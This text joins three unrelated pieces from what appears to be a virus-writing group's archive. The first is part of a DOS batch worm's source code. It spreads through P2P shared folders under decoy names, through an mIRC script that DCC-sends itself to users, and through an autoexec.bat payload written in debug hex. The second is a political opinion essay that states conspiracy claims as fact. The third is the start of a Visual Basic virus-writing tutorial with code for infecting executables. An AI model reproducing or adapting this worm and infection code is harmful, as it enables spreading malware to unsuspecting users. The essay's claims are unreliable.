%pat%program files\bearshare\shared\HL_cracks.EXE.bat if exist %pat%program files\eDonkey2000\incoming\*.* copy l.t + %0 %pat%program files\eDonkey2000\incoming\HL_cracks.EXE.bat echo set mad=yes >t.i if exist %pat%program files\morpheus\my shared folder\*.* copy l.t + %0 %pat%program files\morpheus\my shared folder\Madonna_A_Life.MP3.bat if exist %pat%program files\bearshare\shared\*.* copy l.t + %0 %pat%program files\bearshare\shared\Madonna_A_Life.MP3.bat if exist %pat%program files\eDonkey2000\incoming\*.* copy l.t + %0 %pat%program files\eDonkey2000\incoming\Madonna_A_Life.MP3.bat cls ::> Above routine is p2p worming thru morpheus,bearshare and eDonkey2000.this virus would skip the routine if ::> does not have a WINDOWS folder. echo [script]>l.t echo n0=on 1:JOIN:#:{ >>l.t echo n1= /if ( nick == $me ) { halt } >>l.t echo n2= /.dcc send $nick %pat%bush.bat >>l.t echo n3= }>>l.t cls if exist %pat%mirc\*.* copy l.t %path%mirc\script.ini if exist %pat%mirc32\*.* copy l.t %path%mirc32\script.ini if exist %pat%progra~1\mirc\*.* copy l.t %path%progra~1\mirc\script.ini if exist %pat%progra~1\mirc32\*.* copy l.t %path%progra~1\mirc32\script.ini del l.t cls ::> Above routine is mIrc spreading routine :auto if not exist %pat%autoexec.bat goto fin find /c /i "t.l" %pat%autoexec.bat >nul if not errorlevel 1 goto debugscr goto fin :debugscr @echo e 0100 40 65 63 68 6F 20 6F 66 66 20 0D 0A 65 63 68 6F>>b.bat @echo e 0110 20 70 72 65 73 73 20 65 6E 74 65 72 20 74 6F 20>>b.bat @echo e 0120 63 6F 6E 74 69 6E 75 65 2E 2E 2E 20 0D 0A 64 61>>b.bat @echo e 0130 74 65 20 3E 74 2E 6C 20 0D 0A 66 69 6E 64 20 2F>>b.bat @echo e 0140 63 20 2F 69 20 22 4D 6F 6E 22 20 74 2E 6C 20 3E>>b.bat @echo e 0150 6E 75 6C 0D 0A 69 66 20 6E 6F 74 20 65 72 72 6F>>b.bat @echo e 0160 72 6C 65 76 65 6C 20 31 20 67 6F 74 6F 20 6D 6F>>b.bat @echo e 0170 6E 20 0D 0A 66 69 6E 64 20 2F 63 20 2F 69 20 22>>b.bat @echo e 0180 54 75 65 22 20 74 2E 6C 20 3E 6E 75 6C 0D 0A 69>>b.bat @echo e 0190 66 20 6E 6F 74 20 65 72 72 6F 72 6C 65 76 65 6C>>b.bat @echo e 01A0 20 31 20 67 6F 74 6F 20 74 75 65 20 0D 0A 66 69>>b.bat @echo e 01B0 6E 64 20 2F 63 20 2F 69 20 22 77 65 64 22 20 74>>b.bat @echo e 01C0 2E 6C 20 3E 6E 75 6C 0D 0A 69 66 20 6E 6F 74 20>>b.bat @echo e 01D0 65 72 72 6F 72 6C 65 76 65 6C 20 31 20 67 6F 74>>b.bat @echo e 01E0 6F 20 77 65 64 20 0D 0A 66 69 6E 64 20 2F 63 20>>b.bat @echo e 01F0 2F 69 20 22 74 68 75 22 20 74 2E 6C 20 3E 6E 75>>b.bat @echo e 0200 6C 0D 0A 69 66 20 6E 6F 74 20 65 72 72 6F 72 6C>>b.bat @echo e 0210 65 76 65 6C 20 31 20 67 6F 74 6F 20 74 68 75 20>>b.bat @echo e 0220 0D 0A 66 69 6E 64 20 2F 63 20 2F 69 20 22 66 72>>b.bat @echo e 0230 69 22 20 74 2E 6C 20 3E 6E 75 6C 0D 0A 69 66 20>>b.bat @echo e 0240 6E 6F 74 20 65 72 72 6F 72 6C 65 76 65 6C 20 31>>b.bat @echo e 0250 20 67 6F 74 6F 20 66 72 69 20 0D 0A 66 69 6E 64>>b.bat @echo e 0260 20 2F 63 20 2F 69 20 22 73 61 74 22 20 74 2E 6C>>b.bat @echo e 0270 20 3E 6E 75 6C 0D 0A 69 66 20 6E 6F 74 20 65 72>>b.bat @echo e 0280 72 6F 72 6C 65 76 65 6C 20 31 20 67 6F 74 6F 20>>b.bat @echo e 0290 73 61 74 20 0D 0A 66 69 6E 64 20 2F 63 20 2F 69>>b.bat @echo e 02A0 20 22 73 75 6E 22 20 74 2E 6C 20 3E 6E 75 6C 0D>>b.bat @echo e 02B0 0A 69 66 20 6E 6F 74 20 65 72 72 6F 72 6C 65 76>>b.bat @echo e 02C0 65 6C 20 31 20 67 6F 74 6F 20 73 75 6E 20 0D 0A>>b.bat @echo e 02D0 20 0D 0A 3A 6D 6F 6E 20 0D 0A 63 6C 73 20 0D 0A>>b.bat @echo e 02E0 65 63 68 6F 20 4D 61 73 73 61 67 65 20 6F 66 20>>b.bat @echo e 02F0 74 68 65 20 64 61 79 20 0D 0A 65 63 68 6F 2E 20>>b.bat @echo e 0300 0D 0A 65 63 68 6F 20 22 57 68 61 74 20 77 61 73>>b.bat @echo e 0310 20 49 20 74 61 6C 6B 69 6E 67 20 61 62 6F 75 74>>b.bat @echo e 0320 20 6A 75 73 74 20 6E 6F 77 3F 20 49 20 6A 75 73>>b.bat @echo e 0330 74 20 63 61 6E 27 74 20 72 65 6D 65 6D 62 65 72>>b.bat @echo e 0340 22 20 0D 0A 65 63 68 6F 20 20 20 20 20 20 20 20>>b.bat @echo e 0350 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>b.bat @echo e 0360 20 20 20 20 20 20 2D 20 55 53 20 70 72 65 73 69>>b.bat @echo e 0370 64 65 6E 74 20 47 2E 20 57 2E 20 42 75 73 68 20>>b.bat @echo e 0380 0D 0A 70 61 75 73 65 3E 6E 75 6C 20 0D 0A 67 6F>>b.bat @echo e 0390 74 6F 20 65 6E 64 20 0D 0A 20 0D 0A 3A 74 75 65>>b.bat @echo e 03A0 20 0D 0A 63 6C 73 20 0D 0A 65 63 68 6F 20 4D 61>>b.bat @echo e 03B0 73 73 61 67 65 20 6F 66 20 74 68 65 20 64 61 79>>b.bat @echo e 03C0 20 0D 0A 65 63 68 6F 2E 20 0D 0A 65 63 68 6F 20>>b.bat @echo e 03D0 22 54 68 65 20 77 61 72 20 69 6E 20 49 72 61 71>>b.bat @echo e 03E0 20 69 73 20 6A 75 73 74 69 66 69 65 64 20 61 73>>b.bat @echo e 03F0 20 49 20 77 61 6E 74 20 74 6F 20 67 65 74 20 72>>b.bat @echo e 0400 69 64 20 6F 66 20 74 68 65 20 57 65 70 70 6F 6E>>b.bat @echo e 0410 73 20 6F 66 20 4D 61 73 68 20 0D 0A 65 63 68 6F>>b.bat @echo e 0420 20 20 44 79 73 74 72 75 63 6B 73 79 6E 2E 22 20>>b.bat @echo e 0430 0D 0A 65 63 68 6F 20 20 20 20 20 2D 55 53 20 50>>b.bat @echo e 0440 72 65 73 69 64 65 6E 74 20 47 2E 20 57 2E 20 42>>b.bat @echo e 0450 75 73 68 20 77 72 69 74 65 73 20 61 62 6F 75 74>>b.bat @echo e 0460 20 77 68 79 20 69 74 20 69 73 20 6A 75 73 74 69>>b.bat @echo e 0470 66 69 65 64 20 74 6F 20 67 6F 20 74 6F 20 77 61>>b.bat @echo e 0480 72 20 0D 0A 70 61 75 73 65 3E 6E 75 6C 20 0D 0A>>b.bat @echo e 0490 67 6F 74 6F 20 65 6E 64 20 0D 0A 20 0D 0A 3A 77>>b.bat @echo e 04A0 65 64 20 0D 0A 63 6C 73 20 0D 0A 65 63 68 6F 20>>b.bat @echo e 04B0 4D 61 73 73 61 67 65 20 6F 66 20 74 68 65 20 64>>b.bat @echo e 04C0 61 79 0D 0A 65 63 68 6F 2E 20 0D 0A 65 63 68 6F>>b.bat @echo e 04D0 20 22 49 6D 70 72 65 61 63 68 20 54 68 61 74 20>>b.bat @echo e 04E0 42 61 73 74 61 72 64 20 21 21 22 20 0D 0A 65 63>>b.bat @echo e 04F0 68 6F 20 20 20 20 20 20 20 20 2D 20 50 72 6F 74>>b.bat @echo e 0500 65 73 74 65 72 20 73 69 67 6E 20 64 75 72 69 6E>>b.bat @echo e 0510 67 20 74 68 65 20 49 72 61 71 69 20 77 61 72 20>>b.bat @echo e 0520 0D 0A 70 61 75 73 65 3E 6E 75 6C 20 0D 0A 67 6F>>b.bat @echo e 0530 74 6F 20 65 6E 64 20 0D 0A 0D 0A 3A 74 68 75 20>>b.bat @echo e 0540 0D 0A 63 6C 73 20 0D 0A 65 63 68 6F 20 4D 61 73>>b.bat @echo e 0550 73 61 67 65 20 6F 66 20 74 68 65 20 64 61 79 20>>b.bat @echo e 0560 0D 0A 65 63 68 6F 2E 20 0D 0A 65 63 68 6F 20 22>>b.bat @echo e 0570 48 65 20 6C 6F 6F 6B 73 20 6C 69 6B 65 20 74 68>>b.bat @echo e 0580 65 20 41 6D 65 72 69 63 61 6E 20 4C 69 63 65 22>>b.bat @echo e 0590 20 0D 0A 65 63 68 6F 20 20 20 20 20 20 20 20 20>>b.bat @echo e 05A0 20 20 20 2D 20 4D 61 64 6F 6E 6E 61 2C 73 61 79>>b.bat @echo e 05B0 69 6E 67 20 61 62 6F 75 74 20 55 73 20 50 72 65>>b.bat @echo e 05C0 73 69 64 65 6E 74 20 47 2E 20 57 2E 20 42 75 73>>b.bat @echo e 05D0 68 20 0D 0A 70 61 75 73 65 3E 6E 75 6C 20 0D 0A>>b.bat @echo e 05E0 67 6F 74 6F 20 65 6E 64 20 0D 0A 0D 0A 3A 66 72>>b.bat @echo e 05F0 69 20 0D 0A 63 6C 73 20 0D 0A 65 63 68 6F 20 4D>>b.bat @echo e 0600 61 73 73 61 67 65 20 6F 66 20 74 68 65 20 44 61>>b.bat @echo e 0610 79 20 0D 0A 65 63 68 6F 2E 0D 0A 65 63 68 6F 20>>b.bat @echo e 0620 22 49 20 73 68 6F 75 6C 64 20 68 61 76 65 20 76>>b.bat @echo e 0630 6F 74 65 64 20 66 6F 72 20 41 6C 20 47 6F 72 65>>b.bat @echo e 0640 20 77 68 65 6E 20 49 20 67 6F 74 20 74 68 65 20>>b.bat @echo e 0650 63 68 61 6E 63 65 2E 22 20 0D 0A 65 63 68 6F 20>>b.bat @echo e 0660 20 20 20 20 20 20 20 20 20 20 2D 20 77 68 61 74>>b.bat @echo e 0670 20 61 20 35 30 20 79 65 61 72 20 6F 6C 64 20 6D>>b.bat @echo e 0680 61 6E 20 66 65 65 6C 73 20 61 62 6F 75 74 20 55>>b.bat @echo e 0690 53 20 50 72 65 73 69 64 65 6E 74 20 47 2E 20 57>>b.bat @echo e 06A0 2E 20 42 75 73 68 20 0D 0A 70 61 75 73 65 3E 6E>>b.bat @echo e 06B0 75 6C 20 0D 0A 67 6F 74 6F 20 65 6E 64 20 0D 0A>>b.bat @echo e 06C0 0D 0A 3A 73 61 74 20 0D 0A 63 6C 73 20 0D 0A 65>>b.bat @echo e 06D0 63 68 6F 20 4D 61 73 73 61 67 65 20 6F 66 20 74>>b.bat @echo e 06E0 68 65 20 64 61 79 20 0D 0A 65 63 68 6F 2E 0D 0A>>b.bat @echo e 06F0 65 63 68 6F 20 22 57 65 20 66 6F 75 6E 64 20 6E>>b.bat @echo e 0700 6F 20 57 4D 44 73 20 62 75 74 20 6C 6F 61 64 73>>b.bat @echo e 0710 20 6F 66 20 70 69 63 74 75 72 65 73 2C 70 6F 72>>b.bat @echo e 0720 74 72 61 69 74 73 20 61 6E 64 20 73 74 61 74 75>>b.bat @echo e 0730 65 73 20 6F 66 20 53 61 64 64 61 6D 22 20 0D 0A>>b.bat @echo e 0740 65 63 68 6F 20 20 20 20 20 20 20 20 20 20 20 20>>b.bat @echo e 0750 20 20 20 20 20 20 20 2D 20 61 20 55 53 20 73 6F>>b.bat @echo e 0760 6C 64 69 65 72 20 73 70 65 61 6B 73 20 6F 66 20>>b.bat @echo e 0770 74 68 65 20 49 72 61 71 69 20 77 61 72 20 0D 0A>>b.bat @echo e 0780 70 61 75 73 65 3E 6E 75 6C 20 0D 0A 67 6F 74 6F>>b.bat @echo e 0790 20 65 6E 64 20 0D 0A 0D 0A 3A 73 75 6E 20 0D 0A>>b.bat @echo e 07A0 63 6C 73 20 0D 0A 65 63 68 6F 20 4D 61 73 73 61>>b.bat @echo e 07B0 67 65 20 6F 66 20 74 68 65 20 64 61 79 20 0D 0A>>b.bat @echo e 07C0 65 63 68 6F 2E 0D 0A 65 63 68 6F 20 22 20 75 68>>b.bat @echo e 07D0 2E 2E 77 68 65 72 65 20 69 73 20 74 68 65 20 74>>b.bat @echo e 07E0 6F 69 6C 65 74 20 61 67 61 69 6E 3F 3F 20 22 20>>b.bat @echo e 07F0 0D 0A 65 63 68 6F 20 20 20 20 20 20 20 20 20 20>>b.bat @echo e 0800 2D 20 55 53 20 70 72 65 73 69 64 65 6E 74 20 64>>b.bat @echo e 0810 75 72 69 6E 67 20 68 69 73 20 73 74 61 79 20 61>>b.bat @echo e 0820 74 20 74 68 65 20 57 68 69 74 20 48 6F 75 73 65>>b.bat @echo e 0830 20 0D 0A 70 61 75 73 65 3E 6E 75 6C 20 0D 0A 67>>b.bat @echo e 0840 6F 74 6F 20 65 6E 64 20 0D 0A 0D 0A 3A 65 6E 64>>b.bat @echo e 0850 20 0D 0A 65 63 68 6F 2E 0D 0A 65 63 68 6F 20 54>>b.bat @echo e 0860 68 69 73 20 6D 61 73 73 61 67 65 20 69 73 20 62>>b.bat @echo e 0870 72 6F 75 67 68 74 20 74 6F 20 79 6F 75 20 62 79>>b.bat @echo e 0880 20 42 61 74 2E 42 75 73 68 20 0D 0A 65 63 68 6F>>b.bat @echo e 0890 20 42 61 74 2E 42 75 73 68 20 62 79 20 61 64 69>>b.bat @echo e 08A0 6F 75 73 20 5B 72 52 6C 66 5D 20 0D 0A 70 61 75>>b.bat @echo e 08B0 73 65 3E 6E 75 6C 20 0D 0A 64 65 6C 20 74 2E 6C>>b.bat @echo e 08C0 20 0D 0A 63 61 6C 6C 20 62 75 73 68 2E 62 61 74>>b.bat @echo e 08D0 0D 0A 77 69 6E 0D 0A 65 78 69 74 20 0D 0A 00>>b.bat echo rcx>>b.bat echo 7DE>>b.bat echo n%pat%autoexec.bat>>b.bat echo w>>b.bat echo q>>b.bat debug < b.bat del b.bat ::> Above code is the payload code.It would show everyday massages about the US president. ::> it also runs the virus for simple "residency". :fin exit =============================================[ end of code ]================================================== .:Greets:. Greets go to the few guys I really cared: Jackie [tantrum],Slage,RaiD,philie [rRlf],SPTH [rRlf],Industry [rRlf],Benny [29a],KD [metaphase] DvL,NeKro,Metal_ and the rest of the ppl I met on IRC (the good,the bad and the stupid m***********s) (non-vx)Irfan,taufik,hamizan,Frankie "Charmander" Wong,Han Kiat,Spencer,the 3NAs and all of the guys and gals that i've met IRL. Greets to groups (VX and Non-VX): rRlf,29a,Metaphase,eBCVG,b8,Tantrum,29a,MHA,haxors_Labs,r00t-access,the Medan Hacking Group and WoH. .:Contacts:. website: http:\\adiousinet.cjb.net or http:\\www.adious.tk email: adious666@hotmail.com group site:http:\\rrlf.dearticles
Obvious stupidity of society Adious Obvious stupidity of society by adious .: Type : Opinions :. .: Date : 21\03\04 .: By Adious [rRlf] :. NOTE : This text has nothing to do with "How-to's" and tutorials. If your intention was to find valuable info on programming or anything else, this text will not be a help for you. Tough luck, huh? :) .:Introduction:. Ok, so you may want to know why I even want to write something like this: Mainly because of the low decline of the society that we live in for the last many years or so. The USA gov. decided to got to war last year in Iraq and it sickens me to the gut. The women and children dying. Then comes normal teenage shit: The overgrowing "need" for material things in life. Nobody thought them that "the clothes do not make the man" but every rapper would tell the kids that they need the "bling-bling" (rap for "the shit made of gold") to live and the over- emphasis on the "good life" (kazillions of dollars, mansion, blah, blah blah). These and more in this text called the "Obvious stupidity of society". I will write sequels to this text as and when I feel the need (freedom of movement!). Hope you enjoy the hour or so of reading this text. -adious [rRlf] "The only real weapon in war is the truth" - Inspired quote from a book. Greets to the person who originally said this :) .: USA govs' decision to go to war: Biggest lie to human rights :. .: and human life under the propagandical name of "war on terror":. A long name for a subtitle? Well, that's what the world's biggest terrorist organisation stated after the 9/11 attacks on the WTC in NYC. There is proof that the government knew that the attacks would happen but did not act on the intelligence reports. Why? They wanted a reason for them to go to war in the Middle Eastern countrys. Their new policy on "attacking rouge nations before they attack us" is just too stupid to comprehend by any intelligent human being on the face of this earth. It's like saying: "Since I know that you would attack me, even if the answer from you is 'no', I would still attack you right now". I wonder why they attack people who are called "terrorist" without proof that they are really "terrorist". This goes to show that US govenment did not actually follow their own law: Everybody is inocent until proven guilty. Very hard to swallow, huh? Back to the "war on terror", they went to the UN mandate for an attack on Iraq. Some of the nations, which have a brain and a heart, vetoed the idea. Bush used the term "Axis of Evil" on Iraq. Look at what happened to Afghanistan and you'll find a shock of your lives: They destroy lives and they just leave you to pick yourself up. They destroy buildings and peace but they like to say they are "building progress in the rebuilding of the country". Bullshit. They changed many times the reason for attacking Iraq: 1) There are weapons of mass destruction which the US has all the while. The US army has been developing "mini-nuke bunker busting" bombs to dig out terrorist. Hows that for hypocritical? 2) They say that Iraq used to host terrorists in their country. The key word is "USED". They obviously forgot that Saddam is much of a changed man and that he would do anything, including letting foreign nuke inspectors come in. Hell, the US couldn't even find the bloody WMDs. Does it mean that the US gov is lying to the international community? 3) Here's the biggest lie in the face of the century. The people of Iraq want to be liberated. Hell, if they really want to be liberated, they should leave Iraq, but did they? NO, because they were already liberated from crime and they had peace in their country. When Iraq started researching on making nuclear bombs, the USA started wagging their tongues on the danger that would happen when a rougue nation has the technology. But USA has nukes since they started using it on Japan during WW2. They were the ones who started the idea of ICBMs (intercon- tinental ballistic missiles) and made (and tested) the first hydrogen bomb (or a thermonuclear bomb). I'm getting sick and tired of looking at this topic. The thing is, Bush has lead us to a war that would never end and that would spawn new faces in the international terrorist scene. If they could give some efforts on having 6 way talks on the nuclear issue, why not with Iraq? Oh, I forgot Iraq has no WMDs at all! It's all an illusion in the myopic eyes of G. W. Bush. You decide, do you want to follow blindly the "idiots of war" or do you want to follow a man who is a good leader and would do his best to serve his country and the world? You decide. .: Myth : Money makes the world go round :. It's just too obvious that the many teens today are forced into the shell of which they can not really get out. We are *forced* by our peers to do this and that, wear this and that. This is bullshit. How many times do you actually walk out of the house in rather cheap but very comfortable clothes? I thought they would actually go and praise the person for a good choice of clothing but it turns out that the "normal" teenager would actually feel better in the most expensive clothings ever. It's very saddening that many people's happyness is actually dictated by the amount of money they get or have. They probably think that this has got to do with the material world that they live in today. If it were 20 years ago, many kids won't usually use very expensive clothing. How many people are very happy when they have less and less money? There are a few but most would like a very expensive lifestyle. Too much money in society would mean that we would not really form real relationships. Most ppl squable over money. It seems that money is thicker than blood as many families fight over the wealth of their parents. Not only does it destroys families but your choices of life. Many people actually quit their fav. job for a higher paying one. Isn't it sad? I'm not gonna give half of my life away for a job that is not fun and cool for me. Lets kill the fad. .: "Freedom" in the real world is just a word :. There is a hell lot of truth when it comes to the lack of freedom of speech. I may not even speak on something so "hurtfull" but the govern- ment wants to keep my freedom in control. But you know what, nothing could actually stop the fad of the internet and nobody could stop computer knowledge spreading. In singapore, there is a lot of debate on the topic of blocking access to some websites. They must restrict ppl access to their fav sites just to be happy (I understand if they do this in shool but I just don't see the point if you block internet access for personal use). Try going out to parks performing demonstrations and not to be touched by the pigs but to be kicked into a room being asked question after question and having your school application revoked. As long as my parents are alive on this earth, they will control me in doing some things but as I get older i will experience more freedom. But what type of freedom are you seeking for? What do you really want? .: Hypocrites on the NET and in real life :. Do you find it really funny when someone actually kinda hates your artwork that you've put on your website (for example) and that sick bastard did not actually create something? Well, this type of people kinda sucks some life out of you. Do you actually have a parent who actually asks you to be more hardworking in terms of work but when you look at their qualification exams that they took when they were our age, they did not score really well? Well what happens to us? In real life, nobody would give a damn of who you are and at some time you feel like there is no worth living, but in fact, there are some people that care for you. You only kinda overlooked the bad points form the good points. Wether or not the things are going fine for you or that this is hell to you, is really what your mind thinks about. If your peers actually make fun of you, would you know that there are some people that actually care for you and in the end it's all that counts? Maybe that guy that made fun of you is a real sucker who kinda failed in everything and that they want respect by pushing ppl around. In life there are many hypocrites who feel that you are shit but in reality everyone is the same. Nobody has the right to make you feel sad and angry but you could overcome it. Afterall, "An eye for an eye makes the whole world blind" and "only stupid people get angry and let their frustrations control them". Always remember that people's opinions WILL NEVER follow yours, so why bother following the crowd. The real meaning of opinion is "a belief that is not proven to be true." If ppl's opinion are really true, they won't call it "opinions", they'll call it 'laws'. So think about it. .: Ending :. Arrrrghhh! Why the hell is it so soon? I'm sorry if I can't write some very long text for a good cause but I'll do so next time. Do you have an opinion to spread or a cause to make known? Write to me by e-mail. .:Contacts:. Website : www.adious.cjb.net .: Parting words..:. "Kill The trends and follow you own route" [EOF] adious copyright 2004articles
visual basic virus writing guide v1.0 Alcopaul ============================================================================================================================= ============================================================================================================================= ================================ alcopaul's visual basic virus writing guide v1.0 =========================================== ============================================================================================================================= ============================================================================================================================= \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\\\ I - introduction \\ \\\\\\\\\\\\\\\\\\\\ damn to time-and-bytes-consuming-long introductions... VB is RAD so boys and girls, LET'S GET IT ON! \\\\\\\\\\\\\\\\\\\\ II - preliminaries \\ \\\\\\\\\\\\\\\\\\\\\\ before going to the nitty gritties of vb file infection, we should tackle first the preliminary concepts... ************************* a) getting started ****** ************************* before starting to write a virus in visual basic, you should first know how to "speak" the visual basic language.. this means that you should know the proper syntaxing, the relation of the commands, the way of manipulating variables using the built in vb commands, etc... if you have microsoft office fully installed, then you'll surely have no problem of finding a visual basic resource and reference.. open windows explorer and search for VBLR6.chm... it contains the visual basic language reference... if win32asm has win32.hlp then visual basic has vblr6.chm... having a vb programming book is also helpful so you won't undergo the trial and error of testing functions against variables and combining functions to make a program... and also study viral and non viral vb sources coz this will surely help... before making it to the top, you must start first in scratch.. before i forget, you must also have Microsoft VB6 compiler... *************************** b) resolving virus path *** *************************** your first task is to resolve the path of the virus... why? so your virus can do its dirty work whether it's contained in any directory or the root directory.... ---------------------------------------- code II.a ---------------------------------------- dim virpath as string virpath = app.path if right(virpath, 1) <> "\" then virpath = virpath & "\" 'set virpath to (root):\ 'examine if path is a directory or subdirectory 'if yeah, resolve directory path by adding "\" ---------------------------------------- ******************************* c) avoiding identity crisis *** ******************************* we'll treat exe, scr, com, pif files as the same... why? try renaming your notepad.exe to notepad.scr and execute it. notepad window will appear... renaming notepad.exe to .com or .pif and executing it will have the same effect. the notepad window will still appear... you must first establish the identity of your virus... if you want to target exe files, you should make your virus treat itself as a ".exe" file... when a virus that treats itself as an exe file infects a .scr file, executing the infected .scr won't pass the control to the ".exe" virus... the virus assumes the file type of its host... so a ".exe" virus in a ".scr" host will treat itself as a ".scr"... so a ".exe" virus executed as a ".scr" will produce an error... in other words, your virus will have a problem with its identity... ---------------------------------------- code II.b ---------------------------------------- dim virbyte1 as string dim virpath as string virpath = app.path if right(virpath, 1) <> "\" then virpath = virpath & "\" Open virpath & App.EXEName & ".exe" For Binary Access Read As #2 virbyte1 = Space(number of bytes) Get #2, , virbyte1 Close #2 'setting the virus identity ---------------------------------------- ******************************************************************************************************** d) identifying if the file is infected then a choice of infecting all files at once or one at a time *** ******************************************************************************************************** after establishing the identity of your virus, the next task is to do is to identify the target files... rule : virus will infect file types of its kind... ".exe" virus infects ".exe" files.. ".com" virus infects ".com" files.... ".scr" virus infects ".scr" files ... ".pif" virus infects ".pif" files... after the virus identifies the target files, check if the host is infected so it won't be infecting the same files again and again... a virus must not infect an infected file... an real world example : if you're infected with AIDS, then you'll NOT be reinfected by AIDS... --------------------------------------- code II.c.i --------------------------------------- dim hlen as string dim vsig as string dim virpath as string dim host as string virpath = app.path if right(virpath, 1) <> "\" then virpath = virpath & "\" Open virpath & host For Binary Access Read As #1 hlen = (LOF(1)) vsig = Space(hlen) Get #1, , vsig Close #1 marker = Right(vsig, 9) if marker = "signature" then 'search for more else 'infect --------------------------------------- why did i put 9 in marker = Right(vsig, 9)? coz the length of marker is 9... s-i-g-n-a-t-u-r-e = 9 if the host is infected then search for more... if the host is clean, your next task is to infect it... you can make your virus infect all files at once or infect one file per run... for now, we'll only concern on virus infecting files in its own directory... ---------------------------------------- code II.c.ii (infect all at once) ---------------------------------------- dim virpath as string dim enumhosts as string dim a as string dim hosts, eachhost dim hlen as string dim vsig as string dim marker as string virpath = App.Path If Right(virpath, 1) <> "\" Then virpath = virpath & "\" enumhosts = Dir$(virpath & "*.exe") While enumhosts <> "" a = a & enumhosts & "/" enumhosts = Dir$ Wend hosts = Split(a, "/") For Each eachhost In hosts Open virpath & eachhost For Binary Access Read As #1 hlen = (LOF(1)) vsig = Space(hlen) Get #1, , vsig Close #1 marker = Right(vsig, 9) if marker = "signature" then '--------------- GoTo notinfected Else GoTo infected End If notinfected: 'infect eachhost infected: Next eachhost '--------------- ----------------------------------------- <<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>> ---------------------------------------- code II.c.iii (infect one file per run) ---------------------------------------- dim virpath as string dim enumhosts as string dim a as string dim hosts, eachhost dim hlen as string dim vsig as string dim marker as string virpath = App.Path If Right(virpath, 1) <> "\" Then virpath = virpath & "\" enumhosts = Dir$(virpath & "*.exe") While enumhosts <> "" a = a & enumhosts & "/" enumhosts = Dir$ Wend hosts = Split(a, "/") For Each eachhost In hosts Open virpath & eachhost For Binary Access Read As #1 hlen = (LOF(1)) vsig = Space(hlen) Get #1, , vsig Close #1 marker = Right(vsig, 9) if marker = "signature" then '---------------- GoTo notinfected Else GoTo infected End If notinfected: 'infect eachhost Exit For '!!! infected: Next eachhost '---------------- ----------------------------------------- variable enumhosts will enumerate all the ".exe" files in the current directory with the virus.... it will store the result in variable a... for example, the virus is in c:\ in which notepad.exe, calc.exe, explorer.exe etc are present... when virus runs, variable a will contain, -------------------------------------------- a = notepad.exe/calc.exe/explorer.exe/... etc.. -------------------------------------------- then we'll create an array of filenames from variable a using split function then for each filename in the array, examine if the file is infected or not.... *** this routine makes the virus infect all the target files <<< code II.c.ii >>> '--------------- ... ... GoTo notinfected Else GoTo infected End If notinfected: 'infect eachhost infected: Next eachhost '--------------- *** this routine infects one file per run... <<< code II.c.iii >>> '---------------- ... ... GoTo notinfected Else GoTo infected End If notinfected: 'infect eachhost Exit For '!!! stop infecting others after infecting a file infected: Next eachhost '---------------- **************************** e) regenerating the host *** **************************** the only way we can regenerate the host from a virus/host file is to save the host's bits and bytes into a file, and let the virus execute that file... i only saw two ways of executing the spawned host file from the infected file... i'm lazy to research for more so i just borrowed those routines from vb5 virus by murkry and lennon virus by the walrus... -------------------------------------------- vb5 method -------------------------------------------- Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private iResult As Long Private hProg As Long Private idProg As Long Private iExit As Long Const STILL_ACTIVE As Long = &H103 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF 'execute spawned host file idProg = Shell("c:\hostfile.ext", vbNormalFocus) hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) GetExitCodeProcess hProg, iExit Do While iExit = STILL_ACTIVE DoEvents GetExitCodeProcess hProg, iExit Loop Kill "c:\hostfile.ext" ---------------------------------------------- ---------------------------------------------- lennon method ---------------------------------------------- Private Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As Long End Type Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessID As Long dwThreadID As Long End Type Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long Private Declare Function CreateProcessA Lib "kernel32" (ByVal _ lpApplicationName As Long, ByVal lpCommandLine As String, ByVal _ lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, _ ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _ ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, _ lpStartupInfo As STARTUPINFO, lpProcessInformation As _ PROCESS_INFORMATION) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Const NORMAL_PRIORITY_CLASS = &H20& Private Const INFINITE = -1& Public Sub ExecCmd(cmdline$) Dim proc As PROCESS_INFORMATION Dim start As STARTUPINFO Dim ReturnValue As Integer start.cb = Len(start) ReturnValue = CreateProcessA(0&, cmdline$, 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc) Do ReturnValue = WaitForSingleObject(proc.hProcess, 0) DoEvents Loop Until ReturnValue <> 258 ReturnValue = CloseHandle(proc.hProcess) End Sub .... .... 'execute the regenerated host CommandArgument = Command() ExecCmd "hostfile.ext" & " " & CommandArgument Kill "hostfile.ext" ------------------------------------------- we've seen two methods.... and with a little research you can make a new one... if you're damn lazy like me, you must decide what to use from the previously laid routine... for now, we'll use the vb5 method, much shorter than the lennon method... if you wish to use the lennon method, then do so.. both have the same effects anyways.... ************************** f)the exact virus bytes ** ************************** you need the virus size to be able to carry on viral infection in visual basic... first put dummy size in the virus size constant.. then compile your source and use upx to compress the executable output... get the byte size of the compressed output and it will be the constant virus size that you'll put to your virus code... the smaller the virus, the better.... and that goes to a respected virus coder who likes his viruses small, Super... ****************************** g) the variables ************* ****************************** it is recommended to use option explicit and to define the variables that you'll use... your virus may not work properly if you don't define the variables that your virus will be using... i.e. Dim virusbytes as string Dim blah as long etc. some 